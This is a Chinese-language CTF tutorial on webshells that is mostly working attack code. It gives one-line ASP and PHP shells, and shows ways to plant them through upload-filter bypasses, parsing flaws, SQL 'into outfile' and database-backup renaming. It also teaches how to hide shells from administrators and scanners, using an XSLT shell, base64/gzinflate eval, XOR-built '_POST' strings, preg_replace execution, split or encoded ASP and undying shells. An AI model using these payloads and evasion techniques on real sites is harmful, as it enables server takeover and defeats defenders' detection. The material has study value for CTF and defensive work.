CTF-web 第十部分 webshell基礎與免殺
一、什麼是webshell
(1)webshell簡介
webshell,顧名思義:web指的是在web伺服器上,而shell是用指令碼語言編寫的指令碼程式,webshell就是就是web的一個管理工具,可以對web伺服器進行操作的許可權,也叫webadmin。webshell一般是被網站管理員用於網站管理、伺服器管理等等一些用途,但是由於webshell的功能比較強大,可以上傳下載檔案,檢視資料庫,甚至可以呼叫一些伺服器上系統的相關命令(比如建立使用者,修改刪除檔案之類的),通常被黑客利用,黑客通過一些上傳方式,將自己編寫的webshell上傳到web伺服器的頁面的目錄下,然後通過頁面訪問的形式進行入侵,或者通過插入一句話連線本地的一些相關工具直接對伺服器進行入侵操作。
(2)webshell的分類
webshell根據指令碼可以分為PHP指令碼木馬,ASP指令碼木馬,也有基於.NET的指令碼木馬和JSP指令碼木馬。在國外,還有用python指令碼語言寫的動態網頁,當然也有與之相關的webshell。
根據功能也分為大馬與小馬,小馬通常指的一句話木馬,例如:<%eval request(“pass”)%>通常把這句話寫入一個文件裡面,然後檔名改成xx.asp。然後傳到伺服器上面。這裡eval方法將request(“pass”)轉換成程式碼執行,request函式的作用是應用外部檔案。這相當於一句話木馬的客戶端配置。伺服器配置(即本機配置):
預設配置:
<form action=http://主機路徑/TEXT.asp method=post> <textarea name=value cols=120 rows=10 width=45> set lP=server.createObject("Adodb.Stream")//建立流物件 lP.Open //開啟 lP.Type=2 //以文字方式 lP.CharSet="gb2312" //字型標準 lP.writetext request("newvalue") lP.SaveToFile server.mappath("newmm.asp"),2 //將木馬內容以覆蓋檔案的方式寫入newmm.asp,2就是已覆 蓋的方式 lP.Close //關閉物件 set lP=nothing //釋放物件 response.redirect "newmm.asp" //轉向newmm.asp </textarea> <textarea name=newvalue cols=120 rows=10 width=45>(添入生成木馬的內容) </textarea> <BR> <center> <br> <input type=submit value=提交>
這裡通過提交表單的方式,將木馬提交上去,具體的做法是將定義一個物件IP,然後以文字方式寫入newvalue裡面的內容(newvalue的內容在textarea定義),寫入以覆蓋的方式產生ASP檔案,然後執行這個指令碼。其中客戶端中的value代表的是表單的名字,必須跟服務端(本機)的post提交中的表單名一樣,所以這裡的value可以為任意字元,相當於一個密碼之類的東西,但是這個‘密碼’是明文的,可以擷取下來。PHP的一句話原理跟以上的原理差不多,就是語言的差別導致語法不同。這就是小馬的基本工作原理。
大馬的工作模式簡單的多,他沒有客戶端與服務端的區別,就是一些指令碼大牛直接把一句話木馬的服務端整合到了一起,通過上傳漏洞將大馬上傳,然後複製該大馬的url地址直接訪問,在頁面上執行對web伺服器的滲透工作。但是有些網站對上傳檔案做了嚴格的限制,因為大馬的功能較多,所以體積相對較大,很有可能超出了網站上傳限制,但是小馬的體積可以控制(比如把程式碼複製很多遍,或者在一個亂碼檔案中夾入程式碼),但是小馬操作起來比較繁瑣,可以先上傳小馬拿到webshell,然後通過小馬的連線上傳大馬拿到伺服器。
二 webshell常見獲取方式
(1)上傳漏洞獲取WebShell
首先說我們最常見的,已經講過的上傳漏洞,通過上傳一句話木馬等,獲得伺服器的執行權利。
檔案上傳漏洞主要有以下幾種情況:
- MIME型別繞過漏洞(講過)
- 副檔名繞過漏洞(講過)
- 檔案內容檢測繞過類上傳漏洞(講過)
- 空位元組截斷目錄路徑檢測繞過類上傳漏洞 (講過)
我們可以將Request包的Content-type修改,就可以成功繞過了服務端MIME型別檢測,像這種服務端檢測http包的Content-type都可以用這種類似方法來繞過
檢測解析導致的檔案上傳漏洞:
- IIS6.0站上的目錄路徑檢測解析繞過上傳漏洞
- Apache站上的解析缺陷繞過上傳漏洞
- htaccess檔案上傳解析漏洞
這其中的技術點主要是使用Bp修改一些請求的引數,包括使用00截斷操作檔名,更改型別,當然還有二進位制連線等手段。
還有一些編輯器存在漏洞導致的檔案上傳,比如FCK編輯器。具體請看i春秋學院視訊,還可以做實驗,連結如下:非法檔案上傳漏洞技術解析及防禦
(2)sql注入獲取webshell
一直以來,都以為sql注入都是用來暴露和查詢關鍵資訊的,其實對於資料庫操作來說,SQL注入攻擊可以獲取WebShell其實就是在向伺服器寫檔案。(注意:這裡我們需要得到網站的絕對路徑)所有常用的關係資料庫管理系統(RDBMS)均包含內建的向伺服器檔案系統寫檔案的功能。
MySQL:
select into outfile(dumpfile) //MySQL寫檔案命令
# 例如:
select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";
那麼其它關係資料庫管理系統同樣的原理寫檔案,就不在過多介紹了
(3)資料庫備份獲取WebShell
對於這個方法,我遇見過得就是拿到管理員賬號和密碼之後是可以登入後臺的,雖然存在上傳的地方,但是隻能是jpg影象,這個時候必須還得將它改成.asp字尾。這裡可以用到網站中的資料庫備份漏洞。在後臺的“系統管理”中提供了“資料庫備份”功能,我們可以將上傳上去的圖片檔案作為要備份的資料庫,然後利用可以指定備份檔名的漏洞,把備份後的檔案改名成.asp字尾。具體操作如下圖所示。
成功備份之後,記下已更名的webshell檔案的路徑\wwwroot\admin\.\admin\webshell.asp。
這裡就成功地將webshell上傳到了網站,輸入URL:我們就可以訪問這個網頁了,由於他這個是個大馬所以可以這樣,我們一般的一句話木馬沒有任何內容,一般是使用中國菜刀進行連線。
(4)CMS獲取WebShell
什麼是CMS?
CMS是Content Management System的縮寫,意為"內容管理系統"。 內容管理系統是企業資訊化建設和電子政務的新寵,也是一個相對較新的市場。對於內容管理,業界還沒有一個統一的定義,不同的機構有不同的理解。
常見的CMS有哪些?
- asp平臺:動易CMS、創力CMS、科汛CMS、新雲CMS;
- php平臺:phpcms、織夢CMS、帝國CMS、php168 CMS;
- ASP.NET平臺:Zoomla!逐浪CMS、動易CMS、風訊CMS、We7 CMS;
CMS獲取WebShell方法
公開漏洞途徑:以PHPCMS為例:
我們可以利用搜索引擎來查詢網際網路上公開的通用漏洞,如果目標站點並沒有進行修復,即可輕鬆獲取WebShell。
程式碼審計途徑:
有很多CMS其實是開源的,我們可以在官網下載到原始碼,然後進行程式碼審計,自己挖掘漏洞, 來獲取WebShell。
下面是一個小小的總結,描述了一些具體的原理和方法:
1.解析漏洞上傳
現在對於不同的web伺服器系統對應的有不同的web服務端程式,windows端主流的有iis,linux端主流的有nginx。這些服務對搭建web伺服器提供了很大的幫助,同樣也對伺服器帶來隱患,這些伺服器上都存在一些漏洞,很容易被黑客利用。
(1)iis目錄解析漏洞
比如:/xx.asp/xx.jpg
雖然上傳的是JPG檔案,但是如果該檔案在xx.asp資料夾下,那個iis會把這個圖片檔案當成xx.asp解析,這個漏洞存在於iis5.x/6.0版本。
(2)檔案解析漏洞
比如:xx.asp;.jpg。在網頁上傳的時候識別的是jpg檔案,但是上傳之後iis不會解析;之後的字元,同樣會把該檔案解析成asp檔案,這個漏洞存在於iis5.x/6.0版本。
(3)檔名解析
比如:xx.cer/xx.cdx/xx.asa。在iis6.0下,cer檔案,cdx檔案,asa檔案都會被當成可執行檔案,裡面的asp程式碼也同樣會執行。(其中asa檔案是asp特有的配置檔案,cer為證書檔案)。
(4)fast-CGI解析漏洞
在web伺服器開啟fast-CGI的時候,上傳圖片xx.jpg。內容為:
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>
這裡使用的fput建立一個shell.php檔案,並寫入一句話。訪問路徑xx.jpg/.php,就會在該路徑下生成一個一句話木馬shell.php。這個漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。語言環境:PHP,prel,Bourne Shell,C等語言。
*注:fast-CGI是CGI的升級版,CGI指的是在伺服器上提供人機互動的介面,fast-CGI是一種常駐型的CGI。因為CGI每次執行時候,都需要用fork啟用一個程序,但是fast-CGI屬於啟用後就一直執行,不需要每次請求都fork一個程序。比普通的CGI佔的記憶體少。
(5)apache解析漏洞
apache解析的方式是從右向左解析,如果不能解析成功,就會想左移動一個,但是後臺上傳通常是看上傳檔案的最右的一個字尾,所以根據這個,可以將馬命名為xx.php.rar,因為apache解析不了rar,所以將其解析為php,但是後臺上傳點就將其解析為rar,這樣就繞過了上傳檔案字尾限制
2.截斷上傳
在上傳圖片的時候,比如命名1.asp .jpg(asp後面有個空格),在上傳的時候,用NC或者burpsuite抓到表單,將上傳名asp後面加上%00(在burpsuite裡面可以直接編輯HEX值,空格的HEX值為20,將20改為00),如果HEX為00的時候表示截斷,20表示空格,如果表示截斷的時候就為無視指令碼中的JPG驗證語句,直接上傳ASP。
3.後臺資料庫備份
在一些企業的後臺管理系統中,裡面有一項功能是備份資料庫(比如南方cms裡面就有備份資料庫的功能)。可以上傳一張圖片,圖片裡面含有一句話木馬,或者將大馬改成jpg格式,然後用資料庫備份功能,將這張圖片備份為asp等其他內容可以被解析為指令碼語句的格式,然後再通過web訪問就可以執行木馬了,但是這種方法很老了,現在大多數的cms已經把這種備份的功能取消了,或者禁用了。
4.利用資料庫語句上傳
(1) mysql資料庫into outfile
這種方式的前提必須是該網站有相應的注入點,而且當前使用者必須要有上傳的許可權,而且必須有當前網頁在伺服器下的絕對路徑。方法是用聯合查詢,將一句話木馬匯入到網站下邊的一個php檔案中去,然後使用服務端連線該網站。但是上述方法條件過於苛刻,一般遇到的情況很少。
(2)建立新表寫入木馬
一些開源cms或者自制的webshell會有資料庫管理功能,在資料庫管理功能裡面有sql查詢功能,先使用create table shell(codetext);建立一個名字叫做shell的表,表裡面有列明叫做code,型別為text。然後使用insert into shell(code) values(‘一句話馬’),這裡講shell表中的code列賦值為一句話的馬,然後通過自定義備份,將該表備份為x.php;x然後就被解析成為php然後執行了,這裡不是x.php;x就一定能夠解析為php,不同的web伺服器上面的服務程式不同,然後過濾規則也不同,可能會使用其他的方式。
(3)phpMyadmin設定錯誤
phpMyadmin用來管理網站資料庫的一個工具,其中config.inc.php為其配置檔案,在檢視的該檔案的時候,如果$cfg[‘Servers’][$i][‘auth_type’]引數的值設定沒有設定(預設為config)說明在登陸資料庫的時候沒有做相應的驗證,可以直接連入資料庫,而且在Mysql在一些版本下面預設登陸都是以root使用者進行登陸(即管理員),所以登陸進去為最大許可權。但是root一般只能本地登陸,所以必須建立一個遠端登陸使用者。用遠端登陸使用者登陸之後,建立一個表,然後再將一句話木馬寫入。
三 webshell的隱藏
對於很多實際的網站可能不像我們ctf什麼的會有那麼少的檢查和過濾,關鍵的時候我們需要掌握一些可以隱藏資訊的方法。
(1)特殊的格式或者用法
在網頁的解析中,會支援一些特殊的用法,或者有一些不同以往的格式,這是我們可以利用的,例如
基於xslt轉換的WebShell
在瞭解什麼是xslt之前,我們需要先了解什麼是xsl,XSL是可擴充套件樣式表語言的外語縮寫,是一種用於以可讀式呈現 XML(標準通用標記語言的子集)資料的語言。XSL - 不僅僅是樣式表語言。XSL 包括三部分:XSLT - 一種用於轉換 XML 文件的語言。XPath - 一種用於在 XML 文件中導航的語言。XSL-FO - 一種用於格式化 XML 文件的語言。
官方的例子
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl"> //這個名稱空間URI表示php專用的xsl函式支援
<xsl:output method="html" encoding="utf-8" indent="yes"/>
<xsl:template match="allusers">
<html><body>
<h2>Users</h2>
<table>
<xsl:for-each select="user">
<tr><td>
<xsl:value-of
select="php:function('ucfirst',string(uid))"/> //php:function('assert',string(.))表示將匹配節點的文字作為引數傳遞給php的assert函式。
</td></tr>
</xsl:for-each>
</table>
</body></html>
</xsl:template>
</xsl:stylesheet>
那麼搞懂了以上這些知識,那就很簡單了。為了避免xml的轉義問題,進行一次assert巢狀,最終WebShell如下
<?php
$xml='<ichunqiu>assert($_POST[zusheng]);</ichunqiu>';
$xsl='<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:icq="http://php.net/xsl">
<xsl:template match="/ichunqiu">
<xsl:value-of select="icq:function(\'assert\',string(.))"/>
</xsl:template>
</xsl:stylesheet>';
$xmldoc = DOMDocument::loadXML($xml);
$xsldoc = DOMDocument::loadXML($xsl);
$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStyleSheet($xsldoc);
$proc->transformToXML($xmldoc);
?>
可以直接用菜刀連線:(密碼:zusheng)
其他的方法,還需要自己去發掘了。
(2)解密解密方式
我們可以採用編碼和壓縮惡意程式碼的方式來隱藏WebShell。隱藏webshell,第一個目的是不讓網站管理員發現馬將其刪掉,第二個目的是為了不被其他的Hacker發現了這個檔案並加以利用。
<?php
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVq8qLc5IzUtXj9W0BgA=')));
?>
可以直接用菜刀連線:(密碼:zusheng)
當然這只是最簡單的一種加密放啊,對於很多大馬,通常採用了一些加密方式來保護自己,我們不僅可以將自身的程式碼進行加密,還可以將一些資訊進行加密,這裡只是提供一個思路,下面會詳細的介紹一些常用的方法。
四 webshell的免殺
免殺需要做的就是儘量不使用特定的關鍵字,我們使用一些特殊的構造方法,或者拆分或者替換等方式,不斷地嘗試躲避伺服器端的過濾
1.構造法繞過檢測(PHP)
一般的檢測程式會過濾這樣”_POST”,”system”,”call_user_func_array”這樣的字元,這個時候可以用構造法繞過一些檢測程式,基本原理是,php每一個字元都都對應了一個二進位制的值,可以採用異或的方式,讓馬中的一個字元用兩個字元異或後的值來代替,在我們的程式過濾數字 字母等的時候也可以派上用場,我的核心思路是,將非字母、數字的字元經過各種變換,最後能構造出a-z中任意一個字元。
比如像一下程式碼,。在PHP中,兩個字串執行異或操作以後,得到的還是一個字串。所以,我們想得到a-z中某個字母,就找到某兩個非字母、數字的字元,他們的異或結果是這個字母即可,我們也可以使用~來取反。
<?php
@$_++; // 這裡++讓’_’自加1
$__=("#"^"|"); // _
$__=("."^"~"); // P
$__=("/"^"`"); // O
$__=("|"^"/"); // S
$__=("{"^"/"); // T
?>
然後構造與一句話可以寫為
<?php @$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // $__的值為_POST
@${$__}[!$_](${$__}[$_]);?>
// 結果為
@$_POST[0]($POST[1])
!$_表示1的相反,在語言裡面1代表真,反過來就是0(假)
但是這樣的繞過方法相當弱,仔細想一下,就算是兩個字元的二進位制值異或,但是我們要用某個字元,還是應用那個字元的值,比如
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/")
的二進位制值與_POST字元的值一樣的,要是檢測程式會檢測二進位制碼的值,還是會被殺掉。
方法二利用的是UTF-8編碼的某個漢字,並將其中某個字元取出來,比如'和'{2}的結果是"\x8c",其取反即為字母s:
我們構造一個語句
$_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
$_=_GET; $_GET[_]($_GET[__]) 設定一下變數 替換後面的變數名
主要是_GET這個字串,需要我們使用特殊字元構造,其他的字串已經是特殊字元了,實現這個字串的二進位制為5F474554,我們需要特殊字元來^(異或)來得到這個字元,舉例子
_=5F=10011111= G=47=01000111=
11000000 =0x60 "`" 01111011 =7B "{"
^01011111 =0x3f "?" ^00111100 =3C "<"
實際上我們也可以整個字串異或獲得字串
_GET=5F474554=
607B7B7B
^3F3C3E2F
其實我們可以編寫一個指令碼用來計算這個,過一段時間寫一個;
2018.8.10補充:
發現無法通過所有的特殊字元構造任意的payload......python指令碼跑不出來。可能是我寫的有問題
2.正則表示式代替法(PHP)
php中有一個函式preg_replace()函式,這個函式可以實現正則表示式的替換工作。用替換繞過檢測系統還需要php指令碼語言裡面的一個函式特性,函式在呼叫的時候,如果函式裡面的形參賦的值裡面含有命令,就會執行這個命令。
<?php
function funfunc($str){}
echopreg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")', $_POST["cmd"]);
?>
上述程式碼就是替代的一個過程,首先建立一個空函式,然後使用preg_replace函式替換表單cmd中的<title></title>(這裡是html裡面表示主題)為funfunc,將post表單中的值寫成
<title>{${phpinfo()}}</title>
(當然這裡的phpinfo()可以換成其他的命令),通過置換,就會變成
funfunc({${phpinfo()}})
由於${}可以解析{}中的內容,所以這裡的phpinfo就可以順利執行了。
3.即時生成法(PHP)
在使用標頭檔案包含的時候,所包含標頭檔案php很容易被掃描器掃描到,這時候可以使用file_put_content建立一個檔案,裡面寫如php的一句話馬。在訪問之前先生成馬,但是這個函式比較敏感,很容易被殺。
4.迴避法(asp)
因為有的asp伺服器為了防止一句話馬,會過濾<%,%>,可以使用:
<scriptlanguage=VBScriptrunat=server>execute request("cmd")</Script>
功能相同,就是換個形式。
迴避特定指令碼語言:aspx一句話
<script language="C#" runat="server">WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");</script>
這裡使用C#語言寫一句話馬。
5.拆分法(asp)
將<%eval request(“x”)%>拆分為<%Y=request(“x”)%><%eval(Y)%>,雖然繞過的可能性很小,但是也是一種繞過手法,也許有的伺服器,做了很多高大上的掃描方式,但是遺漏小的問題。
還有拆分法加強版:
<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>
以上兩句使用了if一句將其分開,中心思想將敏感字元拆分,因為一般asp特徵碼為eval(request或者execute(request,拆分了之後檢測不到特徵碼,就直接繞過了。
6.亂碼變形(ANSI->Unicode加密)
<%eval request("#")%>變形為“┼攠數畣整爠煥敵瑳∨∣┩愾”
eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%>
上面一行程式碼是採用了ascii加密的方法,chr(114)代表的是ascii中的編號為114個那個字元,即r。上述程式碼轉換後的程式碼為
<%eval (eval(request("brute"))%>
6.不死馬
這裡關於不死馬確實需要多說幾句,比賽的時候遇到,大概的原理有兩種:
一個是使用系統保留檔名建立無法刪除的webshell來隱藏後門。
另一個是使用一個守護的程序,持續的在指定地方監控,如果檔案不見了那麼就建立新的檔案。
當然,也遇到了奇特的解決辦法,有的人在自己伺服器上中不死馬來解決不死馬問題,比賽中沒有許可權的時候也有人給自己伺服器種馬,真是簡直了..哈哈O(∩_∩)O哈哈~
多數參考
https://blog.csdn.net/zzyandzzzy/article/details/76167884
https://www.jianshu.com/p/02aac12e459f
其他的基本知識也有其餘地方的,但是很早了找不到了...
關於無數字字母的webshell部分是做題的時候遇到的,確實是很實用